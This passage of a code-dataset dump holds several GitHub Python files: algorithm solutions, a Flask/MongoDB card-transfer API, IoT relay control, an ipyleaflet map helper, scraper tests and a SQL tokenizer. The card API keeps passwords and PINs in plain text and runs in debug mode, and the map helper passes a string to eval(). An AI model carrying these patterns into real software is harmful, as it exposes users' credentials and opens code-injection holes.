len(phone_book)-1):\n for j in range(i+1, len(phone_book)):\n if len(phone_book[i]) <= len(phone_book[j]):\n short, long = phone_book[i], phone_book[j]\n else:\n short, long = phone_book[j], phone_book[i]\n\n if short == long[0:len(short)]:\n return False\n return True\n\n#해쉬 사용한 풀이\ndef solution2(phone_book):\n answer = True\n hash_map = {}\n for phone_number in phone_book:\n hash_map[phone_number] = 1\n for phone_number in phone_book:\n temp = \"\"\n for number in phone_number:\n temp += number\n if temp in hash_map and temp != phone_number:\n answer = False\n return answer\n\n#다른 깔끔한 풀이\ndef solution3(phoneBook):\n phoneBook = sorted(phoneBook)\n\n for p1, p2 in zip(phoneBook, phoneBook[1:]):\n if p2.startswith(p1):\n return False\n return True\n\n\nfrom itertools import combinations as c\ndef solution4(phoneBook):\n answer = True\n sortedPB = sorted(phoneBook, key= len)\n for (a,b) in c( sortedPB,2):\n if a == b[:len(a)]:\n answer = False\n return answer","repo_name":"minnczi/Algorithm","sub_path":"Programmers/phone_numbers.py","file_name":"phone_numbers.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14222722988","text":"import sys\nimport pymongo\nfrom pymongo import MongoClient\nfrom flask import Flask\nfrom flask import render_template\nfrom flask_restful import Api, Resource, reqparse, abort, fields, marshal_with\nfrom flask_sqlalchemy import SQLAlchemy\nimport secrets\nfrom flask_cors import CORS\n\n\napp = Flask(__name__)\nCORS(app)\ncors = CORS(app, resources={r\"/api*\": {\"origins\": \"*\"}})\n\ncors.init_app(app)\napi = Api(app)\n\nmycliend = MongoClient()\ncarddb = mycliend['carddb']\ncards = carddb['cards']\nusers = carddb['users']\n\nacc_args = reqparse.RequestParser()\nacc_args.add_argument(\"username\",type=str,help=\"username is required\",required = True)\nacc_args.add_argument(\"password\",type=str,help=\"password is required\",required = True)\n\ncard_args = reqparse.RequestParser()\ncard_args.add_argument(\"number\",type=int,help=\"card number is required\",required = True)\ncard_args.add_argument(\"pin\",type=int,help=\"pin is required\",required = True)\n\nsendcard_args = reqparse.RequestParser()\nsendcard_args.add_argument(\"number\",type=int,help=\"card number is required\",required = True)\nsendcard_args.add_argument(\"pin\",type=int,help=\"pin is required\",required = True)\nsendcard_args.add_argument(\"sendto\",type=int, help = \"receiver card number is required\",required = True)\nsendcard_args.add_argument(\"amount\",type=int,help = \"ammunt is required\",required = True)\n\n\ntok_field = {\n\t\"token\":fields.String\n}\nbalance_field = {\n\t\"balance\":fields.Integer\n}\n\nclass Login(Resource):\n\t@marshal_with(tok_field)\n\tdef post(self):\n\t\targs = acc_args.parse_args()\n\n\t\tif len(args['username'])<1:\n\t\t\tabort(401,error=\"username can't be blank\")\n\n\t\tif len(args['password'])<1:\n\t\t\tabort(401,error=\"password can't be blank\")\n\n\t\ttry:\n\t\t\tresult = users.find({\"username\":args['username']})[0]\n\t\texcept:\n\t\t\tabort(401,error=\"Card information is incorrect\")\n\n\n\n\t\tif result[\"password\"]!=args[\"password\"]:\n\t\t\tabort(401,error=\"Password is incorrect\")\n\n\t\ttoken = secrets.token_hex(20)\n\t\tresult['token'] = token\n\n\t\treturn {\"token\":token}, 200\n\n\n\tdef options (self):\n\t return {'Allow' : 'POST' }, 200, \\\n\t { 'Access-Control-Allow-Origin': '*', \\\n\t 'Access-Control-Allow-Methods' : 'POST' ,\n\t \"Access-Control-Allow-Headers\":\"content-type\"}\n\n\nclass getBalance(Resource):\n\t@marshal_with(balance_field)\n\tdef post(self):\n\t\targs = card_args.parse_args()\n\n\t\tif len(str(args['number']))!=16:\n\t\t\tabort(401,error=\"Card format is incorrect\")\n\n\t\tif len(str(args['pin']))!=4:\n\t\t\tabort(401,error=\"Pin format is incorrect\")\n\t\t\n\t\ttry:\n\t\t\tresult = cards.find({\"number\":args['number']})[0]\n\t\texcept:\n\t\t\tabort(401,error=\"Card information is incorrect\")\n\n\n\t\tif result[\"pin\"]!=args[\"pin\"]:\n\t\t\tabort(401,error=\"Pin is incorrect\")\n\n\t\treturn {\"balance\":result['balance']}, 200\n\n\n\tdef options (self):\n\t return {'Allow' : 'POST' }, 200, \\\n\t { 'Access-Control-Allow-Origin': '*', \\\n\t 'Access-Control-Allow-Methods' : 'POST' ,\n\t \"Access-Control-Allow-Headers\":\"content-type\"}\n\n\nclass sendMoney(Resource):\n\t@marshal_with(balance_field)\n\tdef post(self):\n\t\targs = sendcard_args.parse_args()\n\n\n\t\tif len(str(args['number']))!=16:\n\t\t\tabort(401,error=\"Card format is incorrect\")\n\n\t\tif len(str(args['sendto']))!=16:\n\t\t\tabort(401,error=\"Card format is incorrect\")\n\n\t\tif len(str(args['pin']))!=4:\n\t\t\tabort(401,error=\"Pin format is incorrect\")\n\n\t\tif args['amount']<0:\n\t\t\tabort(401,error=\"Amount can't be negative\")\n\n\t\tif args['number']==args['sendto']:\n\t\t\tabort(401,error=\"You can not send money to yourself\")\n\t\ttry:\n\t\t\tresult = cards.find({\"number\":args['number']})[0]\n\t\texcept:\n\t\t\tabort(401,error=\"Card information is incorrect\")\n\n\t\tif result[\"pin\"]!=args[\"pin\"]:\n\t\t\tabort(401,error=\"Pin is incorrect\")\n\n\t\ttry:\n\t\t\ttoresult = cards.find({\"number\":args['sendto']})[0]\n\t\texcept:\n\t\t\tabort(401,error=\"Receive card information is incorrect\")\n\n\t\tif args['amount']>result['balance']:\n\t\t\tabort(401,error=\"Insufishent funds\")\n\n\t\tresult['balance']-=args['amount']\n\t\ttoresult['balance']+=args['amount']\n\t\tcards.update_one({\"_id\":result[\"_id\"]},{\"$set\":{\"balance\":result['balance']}})\n\t\tcards.update_one({\"_id\":toresult[\"_id\"]},{\"$set\":{\"balance\":toresult['balance']}})\n\n\t\treturn {\"balance\":result['balance']}, 200\n\n\n\tdef options (self):\n\t return {'Allow' : 'POST' }, 200, \\\n\t { 'Access-Control-Allow-Origin': '*', \\\n\t 'Access-Control-Allow-Methods' : 'POST' ,\n\t \"Access-Control-Allow-Headers\":\"content-type\"}\n\n\n\n\n@app.route(\"/\")\ndef homehtml():\n return render_template(\"bd.json\")\ndef main():\n\tapi.add_resource(Login,\"/api/login\")\n\tapi.add_resource(getBalance,\"/api/balance\")\n\tapi.add_resource(sendMoney,\"/api/send\")\n\n\t#carddict = {\"number\":4790729914729354,'pin':6769,'balance':0}\n\t#cards.insert_one(carddict)\n\t#result = cards.find({'number':4790729914729354})\n\t#users.insert({\"username\":\"user\",\"password\":\"pass\"})\n\tapp.run(debug=True)\n\n\t#print(result[0]['pin'])\n\nif __name__==\"__main__\":\n\tmain()","repo_name":"Sel1nd/5solko","sub_path":"mongotest.py","file_name":"mongotest.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6984750748","text":"import time\n\nfrom Mylib.Communication import Function, Comu\nfrom Mylib.Communication import define as df\nfrom Mylib.Debug import TermColor as cl\n\n\ndef pushData():\n # Function.publish(Function.client, str(df.id_tram) + \"_\" + df.topic_data_IO_AC, Function.combineData_IO_AC())\n # for i in range(len(df.accu_config)):\n # if df.accu_config[i] != 0 and df.accu_config[i] is not None:\n # Function.publish(Function.client, str(df.id_tram) + \"_\" + df.topic_data_accu[i],\n # Function.combineData_accu(i))\n\n pub_data_io_ac_status = Function.publish(Function.client, df.topic_data_IO_AC, Function.combineData_IO_AC())\n if pub_data_io_ac_status == \"0\":\n return \"0\"\n for i in range(len(df.accu_config)):\n if df.accu_config[i] != 0 and df.accu_config[i] is not None:\n pub_data_accu_status = Function.publish(Function.client, df.topic_data_accu[i],\n Function.combineData_accu(i))\n if pub_data_accu_status == \"0\":\n return \"0\"\n return \"1\"\n\n\ndef control_relay(device, state):\n try:\n if df.relay_config[device - 1] == 0 or df.relay_config[device - 1] is None:\n print(\"Control relay\" + str(device) + \" with state: \" + state)\n if state == '1':\n if Comu.DigitalWrite(device - 1, 0) is None:\n cl.ColorPrint(\"Controlling relay not successfully, try again later!\", cl.bcolors.FAIL)\n return\n elif state == '0':\n if Comu.DigitalWrite(device - 1, 1) is None:\n cl.ColorPrint(\"Controlling relay not successfully, try again later!\", cl.bcolors.FAIL)\n return\n cl.ColorPrint(\"Controlling relay successfully!\", cl.bcolors.OKBLUE)\n str_id_tram = str(df.id_tram)\n str_device = str(device)\n str_state = str(state)\n json_string = \"{\\\"id_tram\\\":\\\"\" + str_id_tram + \"\\\", \\\"device\\\":\\\"\" + str_device + \"\\\", \\\"state\\\":\\\"\" + str_state + \"\\\"}\"\n cl.ColorPrint(json_string, cl.bcolors.WARNING)\n Function.publish(Function.client, df.topic_update_relay_state, json_string)\n\n elif int(df.relay_config[device - 1]) >= 1:\n if Comu.DigitalWriteTiming(device - 1, int(df.relay_config[device - 1])) is not None:\n cl.ColorPrint(\">Start control relay timer\", cl.bcolors.OKGREEN)\n time.sleep(int(df.relay_config[device - 1]))\n cl.ColorPrint(\">Stop control relay timer\", cl.bcolors.OKGREEN)\n else:\n cl.ColorPrint(\">Dieu khien relay timer khong thanh cong!!!\", cl.bcolors.FAIL)\n except:\n cl.ColorPrint(\"Controlling relay not successfully, try again later! in except\", cl.bcolors.FAIL)\n\n\ndef update_current_version_to_server():\n Function.publish(Function.client, df.topic_update_current_version,\n \"{\\\"id_tram\\\":\\\"\" + str(df.id_tram) + \"\\\", \\\"current_version\\\":\\\"\" + df.current_version + \"\\\"}\")\n\n\ndef update_ip_tram_to_server():\n Function.publish(Function.client, df.topic_update_ip_tram,\n \"{\\\"id_tram\\\":\\\"\" + str(df.id_tram) + \"\\\", \\\"ip_tram\\\":\\\"\" + str(df.myIP) + \"\\\"}\")\n","repo_name":"leanh08102007/ABCXYZ","sub_path":"15042021/Program/Mylib/Communication/dataTransmission.py","file_name":"dataTransmission.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35990670918","text":"import ipyleaflet\nfrom ipyleaflet import WidgetControl\nimport ipywidgets as widgets\nimport pandas as pd\nimport geopandas as gpd\nfrom shapely.geometry import Point\n\nclass Map(ipyleaflet.Map):\n \n def __init__(self, center=[20, 0], zoom=2, **kwargs) -> None:\n\n if \"scroll_wheel_zoom\" not in kwargs:\n kwargs[\"scroll_wheel_zoom\"] = True\n\n super().__init__(center=center, zoom=zoom, **kwargs)\n\n if \"height\" not in kwargs:\n self.layout.height = \"500px\"\n else:\n self.layout.height = kwargs[\"height\"]\n\n if \"fullscreen_control\" not in kwargs:\n kwargs[\"fullscreen_control\"] = True\n if kwargs[\"fullscreen_control\"]:\n self.add_fullscreen_control()\n \n if \"layers_control\" not in kwargs:\n kwargs[\"layers_control\"] = True\n if kwargs[\"layers_control\"]:\n self.add_layers_control()\n\n def add_search_control(self, position=\"topleft\", **kwargs):\n \"\"\"Adds a search control to the map.\n\n Args:\n kwargs: Keyword arguments to pass to the search control.\n \"\"\"\n if \"url\" not in kwargs:\n kwargs[\"url\"] = 'https://nominatim.openstreetmap.org/search?format=json&q={s}'\n \n\n search_control = ipyleaflet.SearchControl(position=position, **kwargs)\n self.add_control(search_control)\n\n def add_draw_control(self, **kwargs):\n \"\"\"Adds a draw control to the map.\n\n Args:\n kwargs: Keyword arguments to pass to the draw control.\n \"\"\"\n draw_control = ipyleaflet.DrawControl(**kwargs)\n\n draw_control.polyline = {\n \"shapeOptions\": {\n \"color\": \"#6bc2e5\",\n \"weight\": 8,\n \"opacity\": 1.0\n }\n }\n draw_control.polygon = {\n \"shapeOptions\": {\n \"fillColor\": \"#6be5c3\",\n \"color\": \"#6be5c3\",\n \"fillOpacity\": 1.0\n },\n \"drawError\": {\n \"color\": \"#dd253b\",\n \"message\": \"Oups!\"\n },\n \"allowIntersection\": False\n }\n draw_control.circle = {\n \"shapeOptions\": {\n \"fillColor\": \"#efed69\",\n \"color\": \"#efed69\",\n \"fillOpacity\": 1.0\n }\n }\n draw_control.rectangle = {\n \"shapeOptions\": {\n \"fillColor\": \"#fca45d\",\n \"color\": \"#fca45d\",\n \"fillOpacity\": 1.0\n }\n }\n\n self.add_control(draw_control)\n\n def add_layers_control(self, position=\"topright\"):\n \"\"\"Adds a layers control to the map.\n\n Args:\n kwargs: Keyword arguments to pass to the layers control.\n \"\"\"\n layers_control = ipyleaflet.LayersControl(position=position)\n self.add_control(layers_control)\n\n def add_fullscreen_control(self, position=\"topleft\"):\n \"\"\"Adds a fullscreen control to the map.\n\n Args:\n kwargs: Keyword arguments to pass to the fullscreen control.\n \"\"\"\n fullscreen_control = ipyleaflet.FullScreenControl(position=position)\n self.add_control(fullscreen_control)\n\n def add_tile_layer(self, url, name, attribution=\"\", **kwargs):\n \"\"\"Adds a tile layer to the map.\n\n Args:\n url (str): The URL template of the tile layer.\n attribution (str): The attribution of the tile layer.\n name (str, optional): The name of the tile layer. Defaults to \"OpenStreetMap\".\n kwargs: Keyword arguments to pass to the tile layer.\n \"\"\"\n tile_layer = ipyleaflet.TileLayer(url=url, attribution=attribution, name=name, **kwargs)\n self.add_layer(tile_layer)\n\n def add_basemap(self, basemap, **kwargs):\n\n import xyzservices.providers as xyz\n\n if basemap.lower() == \"roadmap\":\n url = 'http://mt0.google.com/vt/lyrs=m&hl=en&x={x}&y={y}&z={z}'\n self.add_tile_layer(url, name=basemap, **kwargs)\n elif basemap.lower() == \"satellite\":\n url = 'http://mt0.google.com/vt/lyrs=y&hl=en&x={x}&y={y}&z={z}'\n self.add_tile_layer(url, name=basemap, **kwargs)\n else:\n try:\n basemap = eval(f\"xyz.{basemap}\")\n url = basemap.build_url()\n attribution = basemap.attribution\n self.add_tile_layer(url, name=basemap.name, attribution=attribution, **kwargs)\n except:\n raise ValueError(f\"Basemap '{basemap}' not found.\")\n\n def add_geojson(self, data, name='GeoJSON', **kwargs):\n \"\"\"Adds a GeoJSON layer to the map.\n\n Args:\n data (dict): The GeoJSON data.\n \"\"\"\n if isinstance(data, str):\n import json\n with open(data, \"r\") as f:\n data = json.load(f)\n geojson = ipyleaflet.GeoJSON(data=data,name=name, **kwargs)\n self.add_layer(geojson)\n\n \n def add_shp(self, data, name='Shapefile', **kwargs):\n \"\"\"Adds a Shapefile layer to the map.\n\n Args:\n data (str): The path to the Shapefile.\n \"\"\"\n import geopandas as gpd\n gdf = gpd.read_file(data)\n geojson = gdf.__geo_interface__\n self.add_geojson(geojson, name=name, **kwargs)\n\n def add_vector(self, data, name='Vector', **kwargs):\n \"\"\"Adds a vector layer to the map.\n\n Args:\n data (str): The path to the vector file.\n \"\"\"\n import geopandas as gpd\n gdf = gpd.read_file(data)\n geojson = gdf.__geo_interface__\n self.add_geojson(geojson, name=name, **kwargs)\n\n def add_raster(self, url, name='Raster', fit_bounds=True, **kwargs):\n \"\"\"Adds a raster layer to the map.\n\n Args:\n url (str): The URL of the raster layer.\n name (str, optional): The name of the raster layer. Defaults to 'Raster'.\n fit_bounds (bool, optional): Whether to fit the map bounds to the raster layer. Defaults to True.\n \"\"\"\n import httpx\n\n titiler_endpoint = \"https://titiler.xyz\"\n\n r = httpx.get(\n f\"{titiler_endpoint}/cog/info\",\n params = {\n \"url\": url,\n }\n ).json()\n\n bounds = r[\"bounds\"]\n\n r = httpx.get(\n f\"{titiler_endpoint}/cog/tilejson.json\",\n params = {\n \"url\": url,\n }\n ).json()\n\n tile = r[\"tiles\"][0]\n\n self.add_tile_layer(url=tile, name=name, **kwargs)\n\n if fit_bounds:\n bbox = [[bounds[1], bounds[0]], [bounds[3], bounds[2]]]\n self.fit_bounds(bbox)\n\n def add_image(self, url, width, height, position = 'bottomright',**kwargs):\n \"\"\"Add an image to the map.\n\n Args:\n url (str): The URL of the image.\n width (int): The width of the image.\n height (int): The height of the image.\n position (str, optional): The position of the image. Defaults to 'bottomright'.\n \"\"\"\n widget = widgets.HTML(value = f'')\n control = WidgetControl(widget=widget, position=position)\n self.add(control)\n\n\n def csv_to_shp(in_csv,out_shp, x=\"longitude\", y=\"latitude\"):\n \"\"\"\n This function takes a csv file and converts it to a shapefile.\n \"\"\"\n \n # Read in the csv file\n df = pd.read_csv(in_csv)\n \n # Create a geometry column\n geometry = [Point(xy) for xy in zip(df[x], df[y])]\n \n # Create a geodataframe\n gdf = gpd.GeoDataFrame(df, geometry=geometry)\n \n # Save the geodataframe as a shapefile\n gdf.to_file(out_shp,driver='ESRI Shapefile')\n \n return gdf\n\n \n def csv_to_geojson(in_csv, out_geojson, x=\"longitude\", y=\"latitude\"):\n \"\"\"\n This function takes a csv file and converts it to a geojson file.\n \"\"\"\n \n # Read in the csv file\n df = pd.read_csv(in_csv)\n \n # Create a geometry column\n geometry = [Point(xy) for xy in zip(df[x], df[y])]\n \n # Create a geodataframe\n gdf = gpd.GeoDataFrame(df, geometry=geometry)\n \n # Save the geodataframe as a geojson file\n gdf.to_file(out_geojson, driver=\"GeoJSON\")\n \n return gdf\n\n\n def add_marker_from_csv(self, in_csv, x=\"longitude\", y=\"latitude\", label=None, layer_name=\"Marker cluster\"):\n \"\"\"\n This function takes a csv file and adds a marker cluster to the map.\n \"\"\"\n \n # Read in the csv file\n df = pd.read_csv(in_csv)\n \n # Create a geometry column\n geometry = [Point(xy) for xy in zip(df[x], df[y])]\n \n # Create a geodataframe\n gdf = gpd.GeoDataFrame(df, geometry=geometry)\n \n # Create a marker cluster\n marker_cluster = ipyleaflet.MarkerCluster(\n markers=[ipyleaflet.Marker(location=[point.y, point.x]) for point in gdf.geometry]\n )\n \n # Add the marker cluster to the map\n self.add_layer(marker_cluster)\n \n return marker_cluster\n\n \n def add_toolbar(self, position='topright', **kwargs):\n \"\"\"Adds a toolbar to the map.\n\n Args:\n toolbar (str, optional): The toolbar to add. Defaults to 'draw'.\n position (str, optional): The position of the toolbar. Defaults to 'topright'.\n \"\"\"\n widget_width = \"250px\"\n padding = \"0px 0px 0px 5px\" # upper, right, bottom, left\n\n toolbar_button = widgets.ToggleButton(\n value=False,\n tooltip=\"Toolbar\",\n icon=\"wrench\",\n layout=widgets.Layout(width=\"28px\", height=\"28px\", padding=padding),\n )\n\n close_button = widgets.ToggleButton(\n value=False,\n tooltip=\"Close the tool\",\n icon=\"times\",\n button_style=\"primary\",\n layout=widgets.Layout(height=\"28px\", width=\"28px\", padding=padding),\n )\n toolbar = widgets.HBox([toolbar_button])\n\n def toolbar_click(change):\n if change[\"new\"]:\n toolbar.children = [toolbar_button, close_button]\n else:\n toolbar.children = [toolbar_button]\n \n toolbar_button.observe(toolbar_click, \"value\")\n\n def close_click(change):\n if change[\"new\"]:\n toolbar_button.close()\n close_button.close()\n toolbar.close()\n \n close_button.observe(close_click, \"value\")\n rows = 2\n cols = 2\n grid = widgets.GridspecLayout(rows, cols, grid_gap=\"0px\", layout=widgets.Layout(width=\"65px\"))\n icons = [\"folder-open\", \"map\", \"info\", \"question\"]\n\n for i in range(rows):\n for j in range(cols):\n grid[i, j] = widgets.Button(description=\"\", button_style=\"primary\", icon=icons[i*rows+j], \n layout=widgets.Layout(width=\"28px\", padding=\"0px\"))\n toolbar = widgets.VBox([toolbar_button])\n def toolbar_click(change):\n if change[\"new\"]:\n toolbar.children = [widgets.HBox([close_button, toolbar_button]), grid]\n else:\n toolbar.children = [toolbar_button]\n \n toolbar_button.observe(toolbar_click, \"value\")\n\n toolbar_ctrl = WidgetControl(widget=toolbar, position=position)\n\n output = widgets.Output()\n output_ctrl = WidgetControl(widget=output, position=\"bottomright\")\n def tool_click(b): \n with output:\n output.clear_output()\n print(f\"You clicked the {b.icon} button\")\n\n for i in range(rows):\n for j in range(cols):\n tool = grid[i, j]\n tool.on_click(tool_click)\n\n with output:\n output.clear_output()\n print(\"Click on a button to see the output\")\n\n basemap = widgets.Dropdown(\n options=[\"roadmap\", \"satellite\"],\n value=None,\n description=\"Basemap:\",\n style={\"description_width\": \"initial\"},\n layout=widgets.Layout(width=\"200px\"),\n )\n basemap_ctrl = WidgetControl(widget=basemap, position=\"topright\")\n\n csv_input = widgets.Text(\n value='',\n placeholder='Type the path to the CSV file',\n description='CSV File:',\n disabled=False\n )\n\n csv_input_ctrl = WidgetControl(widget=csv_input, position=\"topright\")\n\n def tool_click(b): \n with output:\n output.clear_output()\n print(f\"You clicked the {b.icon} button\")\n\n if b.icon == \"map\":\n self.add_control(basemap_ctrl)\n elif b.icon == \"folder-open\":\n self.add_control(csv_input_ctrl)\n \n for i in range(rows):\n for j in range(cols):\n tool = grid[i, j]\n tool.on_click(tool_click)\n\n def change_basemap(change):\n if change[\"new\"]:\n self.add_basemap(basemap.value)\n\n\n def change_csv_input(change):\n if change[\"new\"]:\n csv_file = csv_input.value\n self.add_marker_from_csv(in_csv=csv_file, x=\"longitude\", y=\"latitude\")\n \n csv_input.observe(change_csv_input, names=\"value\")\n\n basemap.observe(change_basemap, names='value')\n\n self.add_control(toolbar_ctrl)","repo_name":"Feng96/rasterarea","sub_path":"rasterarea/ipyleafletmap.py","file_name":"ipyleafletmap.py","file_ext":"py","file_size_in_byte":13557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2478874316","text":"import unittest\nfrom unittest.mock import Mock\nfrom unittest.mock import patch\nimport sys\nimport os\n\nimport shutil\n\nfrom API import Service\nfrom API import Storage\nimport API\nsys.path.append('.')\n\n\nclass ServiceTests(unittest.TestCase):\n\n def setUp(self):\n self.service = Service()\n self.base_path = os.path.dirname(os.path.abspath(\".\"))\n\n def test_extract_text_from_html(self):\n html = '''\n \n

Images on Another Server

\n \"W3Schools.com\"\n \n

\n Mouse over this paragraph, to display the title attribute as a tooltip.\n

\n \n '''\n self.assertEqual(self.service.extract_text_from_html(html),\n \"Images on Another Server Mouse over this paragraph to display the title attribute as a tooltip\")\n\n def test_get_images_urls(self):\n html = '''\n \n

Images on Another Server

\n \"W3Schools.com\"\n \n

\n Mouse over this paragraph, to display the title attribute as a tooltip.\n

\n \n '''\n self.assertEqual(self.service.get_images_urls(html)[0],\n \"https://www.w3schools.com/images/w3schools_green.jpg\")\n self.assertEqual(self.service.get_images_urls(html)[1],\n \"https://www.wprost.pl/_thumb/eb/0a/916ecd6cd846ccd9b4bbc8bbe1ea.jpeg\")\n\n\nclass StorageTests(unittest.TestCase):\n def setUp(self):\n self.storage = Storage()\n self.base_path = os.path.dirname(os.path.abspath(\".\"))\n\n def tearDown(self):\n try:\n os.remove(\"{}/scraped_resources/texts/test_text.txt\".format(self.base_path))\n os.rmdir(\"{}/scraped_resources/images/test_dir/\".format(self.base_path))\n shutil.rmtree(\"{}/scraped_resources/images/test_save_images/\".format(self.base_path), ignore_errors=True)\n except OSError as why:\n print(\"Not cleaned directory\")\n\n def test_create_images_dir(self):\n directory_path = 'test_dir'\n self.storage.create_images_dir(directory_path)\n self.assertTrue(os.path.exists(\"{}/scraped_resources/images/{}\".format(self.base_path, directory_path)))\n\n def test_save_txt_file(self):\n text_text_id = \"test_text\"\n text = \"TEST TEXT\"\n self.storage.save_txt_file(text, text_text_id)\n self.assertTrue(os.path.exists('{}/scraped_resources/texts/{}.txt'.format(self.base_path, text_text_id)))\n\n def test_read_text_from_disk(self):\n uuid_text = \"2bcb8601-9075-477e-93f1-450f8f30592a\"\n text = \"Wyszukiwarka Grafika Mapy Play YouTube Wiadomości Gmail Dysk Więcej » Historia online Ustawienia\" \\\n \" Zaloguj się Szukanie zaawansowaneNarzędzia językowe Reklamuj się w \" \\\n \"GoogleRozwiązania dla firmWszystko o GoogleGooglecom C Prywatność Warunki\"\n self.assertEqual(self.storage.read_text_from_disk(uuid_text), text)\n\n def test_list_all_images_dir(self):\n example_ids = [\"00554e7f-44cb-4675-a955-39fc065bb212\"]\n images_ids = self.storage.list_all_images_ids()\n self.assertTrue(all(elem in images_ids for elem in example_ids))\n\n def test_list_all_images_ids(self):\n images_id = \"00554e7f-44cb-4675-a955-39fc065bb212\"\n images_names = self.storage.list_all_images_dir(images_id)\n example_imgs = [\"1s6EApbU7HMxJM5CiOnPsn-w132-h132.jpg\", \"6fw3VjPmUpBZQcTzD4jcA5-w132-h132.jpg\",\n \"7PwTVOCJNsFOAhookAa3Rg-w132-h132.png\", \"20xIWaNoTy4wQEraayzh3v-w990-h170.png\"]\n self.assertTrue(all(elem in images_names for elem in example_imgs ))\n\n def test_list_all_text_ids(self):\n example_texts = [\"64af356b-782d-47a2-95c8-09f5ebbd2151\", \"6766e616-e48d-4a3b-a262-a4ff81328ede\"]\n images_ids = self.storage.list_all_text_ids()\n self.assertTrue(all(elem in images_ids for elem in example_texts))\n\n def test_get_image_path(self):\n uuid_images = \"00554e7f-44cb-4675-a955-39fc065bb212\"\n image = \"1s6EApbU7HMxJM5CiOnPsn-w132-h132.jpg\"\n path = \"{}/scraped_resources/images/00554e7f-44cb-4675-a955-39fc065bb212/1s6EApbU7HMxJM5CiOnPsn-w132-h132.jpg\"\\\n .format(self.base_path)\n self.assertEqual(self.storage.get_image_path(uuid_images, image), path)\n self.assertFalse(self.storage.get_image_path(\"does_not_exists\", \"\"))\n\n\nclass APITests(unittest.TestCase):\n def setUp(self):\n self.app = API.app\n self.app.config['TESTING'] = True\n self.client = self.app.test_client()\n\n @patch.object(API.storage, 'read_text_from_disk', return_value=\"Test text\")\n def test_get_text(self, storage):\n text_id = \"test_id\"\n response = self.client.get(\n '/text/{}'.format(text_id),\n )\n self.assertTrue(response.status_code == 200)\n self.assertEqual(response.get_json()[\"text\"], \"Test text\")\n self.assertEqual(response.get_json()[\"id\"], text_id)\n\n @patch.object(API.storage, 'list_all_images_dir', return_value=[\"image1\", \"image2\"])\n def test_images_dir(self, storage):\n images_id = \"images_id\"\n response = self.client.get(\n '/images/{}'.format(images_id),\n )\n self.assertTrue(response.status_code == 200)\n self.assertEqual(response.get_json()[\"images\"], ['http://localhost/images-id/images_id/image/image1', 'http://localhost/images-id/images_id/image/image2'])\n self.assertEqual(response.get_json()[\"id\"], images_id)\n\n @patch.object(API.storage, 'list_all_images_ids', return_value=[\"test_id1\", \"test_id2\"])\n def test_list_all_images_ids(self, storage):\n response = self.client.get(\n '/imagesIds'\n )\n self.assertTrue(response.status_code == 200)\n self.assertEqual(response.get_json()[\"ids\"], [\"test_id1\", \"test_id2\"])\n\n @patch.object(API.storage, 'list_all_text_ids', return_value=[\"test_id1\", \"test_id2\"])\n def test_list_all_text_ids(self, storage):\n response = self.client.get(\n '/textIds'\n )\n self.assertTrue(response.status_code == 200)\n self.assertEqual(response.get_json()[\"ids\"], [\"test_id1\", \"test_id2\"])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"rszymani/scraping-microservice","sub_path":"tests/Tests.py","file_name":"Tests.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13973793076","text":"import os\nimport numpy as np\nimport torch\nfrom nltk import word_tokenize\nimport re\nimport spacy\nimport json\nfrom process_sql import tokenize\n\n# Load the spaCy English tokenizer\nnlp = spacy.load('en_core_web_sm')\n\nNUM_VALUE_TOKEN = \"\"\nSTR_VALUE_TOKEN = \"\"\nVALUE_NUM_SYMBOL = \"{value}\"\n\n# def sanatize_string(s):\n \n# s = s.strip().lower()\n# s = s.replace(\"\\t\", \" \").replace(\";\", \" ; \")\n# s = s.replace(\",\", \" , \").replace(\"?\", \" ? \")\n# s = s.replace(\")\", \" ) \").replace(\"(\", \" ( \")\n# s = s.replace(\"> =\", \">=\").replace(\"! =\", \"!=\").replace(\"< =\", \"<=\").replace(\"< >\", \"<>\")\n# s = s.replace(\">=\", \" >= \").replace(\"<=\", \" <= \")\n# s = s.replace(\">\", \" > \").replace(\"<\", \" < \")\n# s = s.replace(\"!=\", \" != \").replace(\"=\", \" = \")\n# s = s.replace(\"<>\", \" <> \")\n\n# return s\n\ndef identify_values(s):\n # identify string or number values\n\n s = s.strip()\n \n\n regex_str2 = \"\\'[^\\']*\\'\" #r'\"([A-Za-z_\\./\\\\-]*)\"' \n str2 = re.findall(regex_str2, s)\n for v in str2:\n s = s.replace(v.strip(), STR_VALUE_TOKEN)\n\n regex_str1 = '\\\"[^\\\"]*\\\"' #r\"'([A-Za-z_\\./\\\\-]*)'\" \n str1 = re.findall(regex_str1, s)\n for v in str1:\n s = s.replace(v.strip(), STR_VALUE_TOKEN)\n\n \n s = s.strip().split()\n\n regex_nums = \"[-+]?\\d*\\.\\d+\"\n nums = re.findall(regex_nums, \" \".join(s))\n s = [NUM_VALUE_TOKEN if tok in nums else tok for tok in s]\n\n regex_nums = r'\\b\\d+\\b'\n nums = re.findall(regex_nums, \" \".join(s)) \n s = [NUM_VALUE_TOKEN if tok in nums else tok for tok in s]\n\n return s\n\n\n\ndef tokenize_question(question):\n \"\"\"WARNING: THIS IS A VERY NAIVE TOKENIZER. IMPROVE THIS LATER\"\"\" \n # ques_tokens = word_tokenize(question) \n # return [q.lower() for q in ques_tokens]\n\n \"\"\"Developing sophisticated tokenizer\"\"\"\n # tokens = list()\n # question = sanatize_string(question)\n # # question = identify_values(question)\n\n # for tok in question.split():\n # if \".\" in tok:\n # tokens.extend(tok.replace(\".\", \" . \").split())\n # elif \"'\" in tok and tok[0]!=\"'\" and tok[-1]!=\"'\":\n # tokens.extend(word_tokenize(tok))\n # else:\n # tokens.append(tok)\n\n tokens = [token.text.lower() for token in nlp(question)]\n \n return tokens\n\n\n\ndef tokenize_query(string):\n\n\n \"\"\"WARNING: THIS IS A VERY NAIVE TOKENIZER. IMPROVE THIS LATER\"\"\" \n # query_tokens = word_tokenize(query) \n # return [q.lower() for q in query_tokens]\n\n # tokens = list()\n \n # query = sanatize_string(query)\n # query = identify_values(query)\n\n 